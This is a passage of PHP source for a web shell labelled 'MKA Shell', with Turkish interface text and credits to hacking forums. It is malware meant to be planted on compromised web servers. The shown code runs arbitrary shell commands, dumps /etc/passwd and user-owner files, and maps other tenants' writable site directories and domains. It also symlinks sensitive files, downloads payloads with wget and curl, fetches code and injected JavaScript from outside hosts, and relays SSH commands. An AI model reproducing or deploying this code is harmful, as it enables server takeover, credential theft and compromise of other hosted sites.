  832. @ini_set('magic_quotes_runtime', 0);
  833. @set_time_limit(0);
  834. }
  835. }
  836. function file_download($_GETLINK, $_FILENAME = NULL) {
  837. $ch = curl_init();
  838. curl_setopt($ch, CURLOPT_URL, $_GETLINK);
  839. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  840. curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
  841. curl_setopt($ch, CURLOPT_HEADER, 0);
  842. $_FILE = curl_exec($ch);
  843. curl_close($ch);
  844. if ($_FILENAME == NULL) {
  845. $_FILENAME = explode('/', $_GETLINK);
  846. $_FILENAME = array_reverse($_FILENAME);
  847. $_FILENAME = $_FILENAME[0];
  848. }
  849. $fp = fopen($_FILENAME, 'w');
  850. fwrite($fp, $_FILE);
  851. fclose($fp);
  852. }
  853. function alfaOtostop() {
  854. alfahead();
  855. echo '<Div class=header><br><center>';
  856. echo '<p><center><p><div class="txtfont_header">| zmire giden yolcu kalmasn ( ln -s )(HEADER , FOOTER , php.ini , error.log) |</div></p>
  857. <form onSubmit="g(\'otostop\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
  858. <div class="txtfont">Dosya yolu: </div> <input type="text" name="dirzip" value="' . htmlspecialchars($GLOBALS['cwd']) . '" size="60"/>
  859. <div class="txtfont">kaydedilecek: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . 'mka7.rar" size="60"/>
  860. <input type="submit" value=" " name="ziper" />
  861. </form></center></p>';
  862. if (isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')) {
  863. $dirzip = $_POST['alfa3'];
  864. $zipfile = $_POST['alfa4'];
  865. exe('ln -s ' . $dirzip . ' ' . $zipfile);
  866. echo 'oldu kanka sanrm ektim <a href="javascript:void(0);" class="menu_options" onclick="g(\'FilesMan\',null,\'\',\'\',\'\');">Bak bakim ekebildim mi</a>';
  867. }
  868. echo '</div>';
  869. alfafooter();
  870. }
  871. function exe($cmd) {
  872. if (function_exists('system')) {
  873. @ob_start();
  874. @system($cmd);
  875. $buff = @ob_get_contents();
  876. @ob_end_clean();
  877. return $buff;
  878. } elseif (function_exists('exec')) {
  879. @exec($cmd, $results);
  880. $buff = '';
  881. foreach ($results as $result) {
  882. $buff.= $result;
  883. }
  884. return $buff;
  885. } elseif (function_exists('passthru')) {
  886. @ob_start();
  887. @passthru($cmd);
  888. $buff = @ob_get_contents();
  889. @ob_end_clean();
  890. return $buff;
  891. } elseif (function_exists('shell_exec')) {
  892. $buff = @shell_exec($cmd);
  893. return $buff;
  894. }
  895. }
  896. function alfaDeneme() {
  897. alfahead();
  898. echo '<Div class=header><br><center>';
  899. if (empty($_POST['ajax']) && !empty($_POST['alfa1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  900. $process = array('Passwd 1' => 'fileget', 'Passwd 2' => 'copy', 'Passwd 3' => 'require', 'Passwd 4' => 'uid', 'Passwd 5' => 'stream', 'Passwd 6' => 'son', 'Kullanclar getir' => 'kul', 'Kullanclar getir 2' => 'kul2');
  901. foreach ($process as $n => $link) {
  902. echo '<a href="javascript:void(0);" onclick="g(\'deneme\',null,\'' . $link . '\')"> | ' . $n . ' | </a>';
  903. }
  904. echo '</center><br>';
  905. if (!empty($_POST['alfa1'])) {
  906. if ($_POST['alfa1'] == 'fileget') {
  907. echo "<pre class='ml1' style='margin-top:5px' >";
  908. echo file_get_contents('/etc/passwd');
  909. echo '</pre>';
  910. } elseif ($_POST['alfa1'] == 'copy') {
  911. echo "<pre class='ml1' style='margin-top:5px' >";
  912. if (@copy($_GET['copy'], 'test1.php')) {
  913. $fh = fopen('test1.php', 'r');
  914. echo '<textarea cols=100 rows=20 class=box readonly>' . htmlspecialchars(@fread($fh, filesize('test1.php'))) . '</textarea>';
  915. @fclose($fh);
  916. unlink('test1.php');
  917. }
  918. echo '</pre>';
  919. } elseif ($_POST['alfa1'] == 'require') {
  920. echo "<pre class='ml1' style='margin-top:5px' >";
  921. echo require ('/etc/passwd');
  922. echo '</pre>';
  923. } elseif ($_POST['alfa1'] == 'uid') {
  924. echo "<pre class='ml1' style='margin-top:5px' >";
  925. for ($uid = 0;$uid < 10000;$uid++) {
  926. $ara = posix_getpwuid($uid);
  927. if (!empty($ara)) {
  928. while (list($key, $val) = each($ara)) {
  929. print "$val:";
  930. }
  931. print "
  932. ";
  933. }
  934. }
  935. echo '</pre>';
  936. } elseif ($_POST['alfa1'] == 'stream') {
  937. echo "<pre class='ml1' style='margin-top:5px' >";
  938. $file = '/etc/passwd';
  939. if ($stream = fopen($file, 'r')) {
  940. echo stream_get_contents($stream, -1, 0);
  941. fclose($stream);
  942. }
  943. echo '</pre>';
  944. } elseif ($_POST['alfa1'] == 'son') {
  945. echo "<pre class='ml1' style='margin-top:5px' >";
  946. echo __read_file('/etc/passwd');
  947. echo '</pre>';
  948. } elseif ($_POST['alfa1'] == 'kul') {
  949. echo "<pre class='ml1' style='margin-top:5px' >";
  950. echo alfaEx('cat /etc/trueuserowners');
  951. echo '</pre>';
  952. } elseif ($_POST['alfa1'] == 'kul2') {
  953. echo "<pre class='ml1' style='margin-top:5px' >";
  954. echo passthru('ls /var/mail');
  955. echo '</pre>';
  956. }
  957. }
  958. echo '</div>';
  959. alfafooter();
  960. }
  961. function alfalogout() {
  962. unset($_SESSION['AlfaUser'], $_SESSION['AlfaPass']);
  963. echo ("<center><font color='red'>Logout...</font></center>");
  964. }
  965. function showAnimation($name) {
  966. return '-webkit-animation: ' . $name . ' 800ms ease-in-out forwards;-moz-animation: ' . $name . ' 800ms ease-in-out forwards;-ms-animation: ' . $name . ' 800ms ease-in-out forwards;animation: ' . $name . ' 800ms ease-in-out forwards;';
  967. }
  968. function __showicon($r) {
  969. $s['btn'] = '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';
  970. $s['alfamini'] = file_get_contents('https://myofcl.github.io/mkaspyshell/alfamini');
  971. $s['loader'] = file_get_contents('https://myofcl.github.io/mkaspyshell/loader');
  972. return 'http://panel.warezm.com/33.png';
  973. }
  974. function __download($url, $path = false) {
  975. if (!preg_match("/[a-z]+:\/\/.+/", $url)) return false;
  976. $saveas = basename(rawurldecode($url));
  977. if ($path) {
  978. $saveas = $path . $saveas;
  979. }
  980. if ($content = __read_file($url)) {
  981. if (@is_file($saveas)) @unlink($saveas);
  982. if (__write_file($saveas, $content)) {
  983. return true;
  984. }
  985. }
  986. $buff = alfaEx('wget ' . $url . ' -O ' . $saveas);
  987. if (@is_file($saveas)) return true;
  988. $buff = alfaEx('curl ' . $url . ' -o ' . $saveas);
  989. if (@is_file($saveas)) return true;
  990. $buff = alfaEx('lwp-download ' . $url . ' ' . $saveas);
  991. if (@is_file($saveas)) return true;
  992. $buff = alfaEx('lynx -source ' . $url . ' > ' . $saveas);
  993. if (@is_file($saveas)) return true;
  994. $buff = alfaEx('GET ' . $url . ' > ' . $saveas);
  995. if (@is_file($saveas)) return true;
  996. $buff = alfaEx('links -source ' . $url . ' > ' . $saveas);
  997. if (@is_file($saveas)) return true;
  998. $buff = alfaEx('fetch -o ' . $saveas . ' -p ' . $url);
  999. if (@is_file($saveas)) return true;
  1000. return false;
  1001. }
  1002. function clean_string($string) {
  1003. if (function_exists('iconv')) {
  1004. $s = trim($string);
  1005. $s = iconv('UTF-8', 'UTF-8//IGNORE', $s);
  1006. }
  1007. return $s;
  1008. }
  1009. function __read_file($file, $boom = true) {
  1010. $content = false;
  1011. if ($fh = @fopen($file, 'rb')) {
  1012. $content = '';
  1013. while (!feof($fh)) {
  1014. $content.= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
  1015. }
  1016. }
  1017. if (empty($content) || !$content) {
  1018. $content = alfaEx("cat '" . addslashes($file) . "'");
  1019. }
  1020. return $content;
  1021. }
  1022. function alfaSettings() {
  1023. alfahead();
  1024. $i = 0;
  1025. echo "<pre><div class='margin: 5px auto;'>";
  1026. $etc = fopen('/etc/passwd', 'r') or die('<font color=red>passwd okuyamadm pampa</font>');
  1027. while ($passwd = fgets($etc)) {
  1028. if ($passwd == '' || !$etc) {
  1029. echo '<font color=red>passwd okuyamadm pampa</font>';
  1030. } else {
  1031. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1032. foreach ($user_jumping[1] as $user_tatsumi_jump) {
  1033. $user_jumping_dir = "/home/$user_tatsumi_jump/public_html";
  1034. if (is_readable($user_jumping_dir)) {
  1035. $i++;
  1036. $jrw = '[<font color=white>R</font>] <a href="javascript:void(0)" onclick="g(\'FilesMan\',\'' . $user_jumping_dir . '\');" ><font color=gold>' . $user_jumping_dir . '</font></a>';
  1037. if (is_writable($user_jumping_dir)) {
  1038. $jrw = '[<font color=white>RW</font>] <a href="javascript:void(0)" onclick="g(\'FilesMan\',\'' . $user_jumping_dir . '\');"><font color=gold>' . $user_jumping_dir . '</font></a>';
  1039. }
  1040. echo $jrw;
  1041. if (function_exists('posix_getpwuid')) {
  1042. $domain_jump = file_get_contents('/etc/named.conf');
  1043. if ($domain_jump == '') {
  1044. echo ' => ( <font color=red>Domaini ekemedim pampa</font> )<br>';
  1045. } else {
  1046. preg_match_all('#/var/named/(.*?).db#', $domain_jump, $domains_jump);
  1047. foreach ($domains_jump[1] as $dj) {
  1048. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1049. $user_jumping_url = $user_jumping_url['name'];
  1050. if ($user_jumping_url == $user_tatsumi_jump) {
  1051. echo " => ( <u>$dj</u> )<br>";
  1052. break;
  1053. }
  1054. }
  1055. }
  1056. } else {
  1057. echo '<br>';
  1058. }
  1059. }
  1060. }
  1061. }
  1062. }
  1063. if ($i == 0) {
  1064. } else {
  1065. echo '<br>Toplam ' . $i . ' domaine zplayabilirsin ';
  1066. }
  1067. echo ('</div>');
  1068. alfafooter();
  1069. }
  1070. function alfaplus() {
  1071. alfahead();
  1072. echo __pre() . "<pre><center><a href='//spyhackerz.com'><img src='https://vignette.wikia.nocookie.net/s4s/images/b/b8/Stone-Cold-Steve-Austin-Finger-wwestalker.jpg/revision/latest?cb=20130923005546'></a><br><br><b><font size='+3' color='#00A220'>&#9774; ~ MKA Shell ~ &#9774;</font><br><br><font color='#00A220'>ICQ : 743635373 || Skype : N13P10 </font><br><br><br><br><font color='#FF0000'>https://www.spyhackerz.com // https://www.warezm.com ///// Shell Coded By <a href='//spyhackerz.com'>MKA Shell</a></font><br><br><font color='white'>Emei geenler: MuRo, MKA7, MY0FC4, Hayben, skyc0de,Mectruy, Koswog </font><br><br></center></pre>";
  1073. echo ('</div>');
  1074. alfafooter();
  1075. }
  1076. function alfaEmail() {
  1077. alfahead();
  1078. $get = new AlfaCURL();
  1079. $get->ssl = true;
  1080. $data = $get->Send('https://temp-mail.org/tr/option/refresh/');
  1081. echo $data;
  1082. alfafooter();
  1083. }
  1084. function alfassh2() {
  1085. if (function_exists('ssh2_connect')) {
  1086. $_SESSION['connected'] = false;
  1087. $ssh_ip = $_POST['alfa1'];
  1088. $ssh_login = $_POST['alfa2'];
  1089. $ssh_pass = $_POST['alfa3'];
  1090. $ssh_port = $_POST['alfa4'];
  1091. $ssh_command = $_POST['alfa5'];
  1092. if ($alfaconnect2ssh = @ssh2_connect($ssh_ip, $ssh_port)) {
  1093. if ($alfalogin = @ssh2_auth_password($alfaconnect2ssh, $ssh_login, $ssh_pass)) {
  1094. $_SESSION['connected'] = true;
  1095. }
  1096. }
  1097. if ($_SESSION['connected'] !== true) {
  1098. alfahead();
  1099. echo '<div class=header>';
  1100. echo "<form name='ssh2' method='post' onsubmit='g(\"ssh2\",null,this.ssh_ip.value,this.ssh_login.value,this.ssh_pass.value,this.ssh_port.value); return false;'><table cellpadding='2' cellspacing='0'><tr><td><font color=\"#ffffff\"><b>IP</b></font></td><td><font color=\"#ffffff\"><b>SSH USER</b></font></td><td><font color=\"#ffffff\"><b>SSH PASS</b></font></td><td><font color=\"#ffffff\"><b>SSH PORT</b></font></td><td></td></tr><tr><td><input type=text name=ssh_ip value=''></td><td><input type=text name=ssh_login value=''></td><td><input type=text name=ssh_pass value=''></td><td><input type=text name=ssh_port value=''></td><td><input type='submit' name='submit' value=' '></td></table></form></div>";
  1101. alfafooter();
  1102. }
  1103. if ($_SESSION['connected'] == true) {
  1104. alfahead();
  1105. echo '<div class=header>';
  1106. echo "<form name='ssh2' method='post' onsubmit='g(\"ssh2\",null,\"" . $ssh_ip . "\",\"" . $ssh_login . "\",\"" . $ssh_pass . "\",\"" . $ssh_port . "\",this.ssh_command.value,\">>\"); return false;'><table cellpadding='2' cellspacing='0'><tr><td><input type=text name=ssh_command value=''></td><td><input type='submit' name='execute' value=' '></td></table></form><form name='ssh2' method='post' onsubmit='g(\'ssh2\',null,\'\',\'\',\'\'); return false;'><input type=submit name='destsession' value='logout'></form>";
  1107. $alfastream = ssh2_exec($alfaconnect2ssh, $ssh_command);
  1108. stream_set_blocking($alfastream, true);
  1109. $output = ssh2_fetch_stream($alfastream, SSH2_STREAM_STDIO);
  1110. if ($_POST['alfa6'] == '>>') {
  1111. echo '<pre class=ml1>';
  1112. ob_start();
  1113. echo stream_get_contents($output);
  1114. echo htmlspecialchars(ob_get_clean());
  1115. }
  1116. echo '</div>';
  1117. alfafooter();
  1118. }
  1119. } else {
  1120. alfahead();
  1121. echo '<div class=header><p><center><b><font color="red">Server does not support SSH2</font><p></b></center></div>';
  1122. alfafooter();
  1123. }
  1124. }
  1125. function output($string) {
  1126. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $string . "'>Click Here !</a></font></b></center><br><br>";
  1127. }
  1128. function alfaupdatepath() {
  1129. if ($_POST['path'] != '') {
  1130. $_SESSION[__LAST_CWD__] = $_POST['path'];
  1131. }
  1132. echo ($_SESSION[__LAST_CWD__]);
  1133. }
  1134. function alfacheckfiletype() {
  1135. $path = $_POST['path'];
  1136. $arg = $_POST['arg'];
  1137. if (@is_file($path . '/' . $arg)) {
  1138. echo ('file');
  1139. } else {
  1140. echo ('dir');
  1141. }
  1142. }
  1143. function alfacheckupdate() {
  1144. if (!isset($_COOKIE['alfa_checkupdate'])) {
  1145. if (function_exists('curl_version')) {
  1146. $update = new AlfaCURL();
  1147. $json = $update->Send('http://panel.warezm.com/bak.json');
  1148. $json = @json_decode($json);
  1149. if ($json) {
  1150. if (__MKA_VERSION__ != $json->version) {
  1151. @setcookie('alfa_checkupdate', '1', time() + 86400);
  1152. echo ('<div class="update-holder"><div class="update-partner"><div class="update-content"><div onClick="document.getElementsByClassName(\'update-holder\')[0].style.display = \'none\';" class="update-close">X</div><a href="' . $json->url . '" target="_blank">' . $json->text . '<br> Version: ' . $json->version . '</a></div></div></div>');
  1153. }
  1154. if (isset($json->js)) {
  1155. echo ('<div style="display:none;" id="jsurl">' . $json->js . '</div>');
  1156. }
  1157. }
  1158. }
  1159. }
  1160. }
  1161. function alfaWriteTocgiapi($name, $source) {
  1162. @chdir(dirname($_SERVER['SCRIPT_FILENAME']));
  1163. @mkdir('mka7cgiapi', 0755);
